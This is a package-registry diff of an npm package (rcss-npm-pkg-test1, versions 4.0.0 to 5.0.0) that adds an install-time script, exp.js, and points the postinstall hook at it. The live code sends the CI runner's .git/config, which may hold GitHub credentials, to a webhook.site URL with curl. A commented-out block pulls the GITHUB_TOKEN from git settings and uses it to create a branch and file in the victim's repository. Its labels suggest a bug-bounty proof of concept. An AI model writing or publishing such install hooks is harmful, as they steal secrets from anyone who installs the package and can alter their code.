rcss-npm-pkg-test1 4.0.0 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exp.js +61 -0
  2. package/index.js +1 -61
  3. package/package.json +2 -2
package/exp.js ADDED
@@ -0,0 +1,61 @@
1
+ const { exec } = require('child_process');
2
+
3
+ console.log("===============================================================");
4
+ console.log("Hello! rcss-test-npm-pkg has been installed successfully.");
5
+ console.log("This is a proof of concept execution.");
6
+
7
+ exec('cat $GITHUB_WORKSPACE/.git/config | curl -X POST https://webhook.site/TestActions/TestAdobe1/ -d @-', (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.warn(`[PoC] Error executing the payload): ${error.message}`);
10
+ return;
11
+ }
12
+ console.log(`[PoC] Command Output:\n${stdout}`);
13
+ });
14
+ console.log("===============================================================");
15
+
16
+ /*const { execSync } = require('child_process');
17
+
18
+ // Only run once (first Linux runner), and only in GitHub Actions
19
+ if (process.platform !== 'linux' || !process.env.GITHUB_WORKSPACE) process.exit(0);
20
+
21
+ // Extract GITHUB_TOKEN from git credentials persisted by actions/checkout
22
+ let token = null;
23
+ try {
24
+ const header = execSync(
25
+ `git -C "${process.env.GITHUB_WORKSPACE}" config --get http.https://github.com/.extraheader`,
26
+ { encoding: 'utf8', timeout: 5000 }
27
+ ).trim();
28
+ const b64 = header.split('basic ')[1].trim();
29
+ token = Buffer.from(b64, 'base64').toString().split(':')[1];
30
+ } catch (e) { process.exit(0); }
31
+
32
+ if (!token) process.exit(0);
33
+
34
+ const repo = process.env.GITHUB_REPOSITORY;
35
+ const auth = `-H "Authorization: token ${token}" -H "Accept: application/vnd.github+json"`;
36
+
37
+ // Get main branch SHA
38
+ const ref = JSON.parse(execSync(
39
+ `curl -sf ${auth} "https://api.github.com/repos/${repo}/git/ref/heads/main"`,
40
+ { encoding: 'utf8', timeout: 10000 }
41
+ ));
42
+
43
+ // Create branch
44
+ execSync(
45
+ `curl -sf -X POST ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
46
+ ref: 'refs/heads/rcss-h1-test',
47
+ sha: ref.object.sha
48
+ })}' "https://api.github.com/repos/${repo}/git/refs"`,
49
+ { encoding: 'utf8', timeout: 10000 }
50
+ );
51
+
52
+ // Create file
53
+ execSync(
54
+ `curl -sf -X PUT ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
55
+ message: 'HackerOne Report Test File',
56
+ content: Buffer.from('hackerone.com/rcss\n').toString('base64'),
57
+ branch: 'rcss-h1-test'
58
+ })}' "https://api.github.com/repos/${repo}/contents/h1-poc.md"`,
59
+ { encoding: 'utf8', timeout: 10000 }
60
+ );
61
+ */
package/index.js CHANGED
@@ -1,61 +1 @@
1
- const { exec } = require('child_process');
2
-
3
- console.log("===============================================================");
4
- console.log("Hello! rcss-test-npm-pkg has been installed successfully.");
5
- console.log("This is a proof of concept execution.");
6
-
7
- exec('cat $GITHUB_WORKSPACE/.git/config | curl -X POST https://webhook.site/TestActions/TestAdobe1/ -d @-', (error, stdout, stderr) => {
8
- if (error) {
9
- console.warn(`[PoC] Error executing the payload): ${error.message}`);
10
- return;
11
- }
12
- console.log(`[PoC] Command Output:\n${stdout}`);
13
- });
14
- console.log("===============================================================");
15
-
16
- /*const { execSync } = require('child_process');
17
-
18
- // Only run once (first Linux runner), and only in GitHub Actions
19
- if (process.platform !== 'linux' || !process.env.GITHUB_WORKSPACE) process.exit(0);
20
-
21
- // Extract GITHUB_TOKEN from git credentials persisted by actions/checkout
22
- let token = null;
23
- try {
24
- const header = execSync(
25
- `git -C "${process.env.GITHUB_WORKSPACE}" config --get http.https://github.com/.extraheader`,
26
- { encoding: 'utf8', timeout: 5000 }
27
- ).trim();
28
- const b64 = header.split('basic ')[1].trim();
29
- token = Buffer.from(b64, 'base64').toString().split(':')[1];
30
- } catch (e) { process.exit(0); }
31
-
32
- if (!token) process.exit(0);
33
-
34
- const repo = process.env.GITHUB_REPOSITORY;
35
- const auth = `-H "Authorization: token ${token}" -H "Accept: application/vnd.github+json"`;
36
-
37
- // Get main branch SHA
38
- const ref = JSON.parse(execSync(
39
- `curl -sf ${auth} "https://api.github.com/repos/${repo}/git/ref/heads/main"`,
40
- { encoding: 'utf8', timeout: 10000 }
41
- ));
42
-
43
- // Create branch
44
- execSync(
45
- `curl -sf -X POST ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
46
- ref: 'refs/heads/rcss-h1-test',
47
- sha: ref.object.sha
48
- })}' "https://api.github.com/repos/${repo}/git/refs"`,
49
- { encoding: 'utf8', timeout: 10000 }
50
- );
51
-
52
- // Create file
53
- execSync(
54
- `curl -sf -X PUT ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
55
- message: 'HackerOne Report Test File',
56
- content: Buffer.from('hackerone.com/rcss\n').toString('base64'),
57
- branch: 'rcss-h1-test'
58
- })}' "https://api.github.com/repos/${repo}/contents/h1-poc.md"`,
59
- { encoding: 'utf8', timeout: 10000 }
60
- );
61
- */
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "rcss-npm-pkg-test1",
3
- "version": "4.0.0",
3
+ "version": "5.0.0",
4
4
  "description": "A test package that runs a script on install",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "postinstall": "node index.js",
7
+ "postinstall": "node exp.js || true",
8
8
  "test": "node test-hook.js || true"
9
9
  },
10
10
  "keywords": ["aio", "aio-app-builder-template"],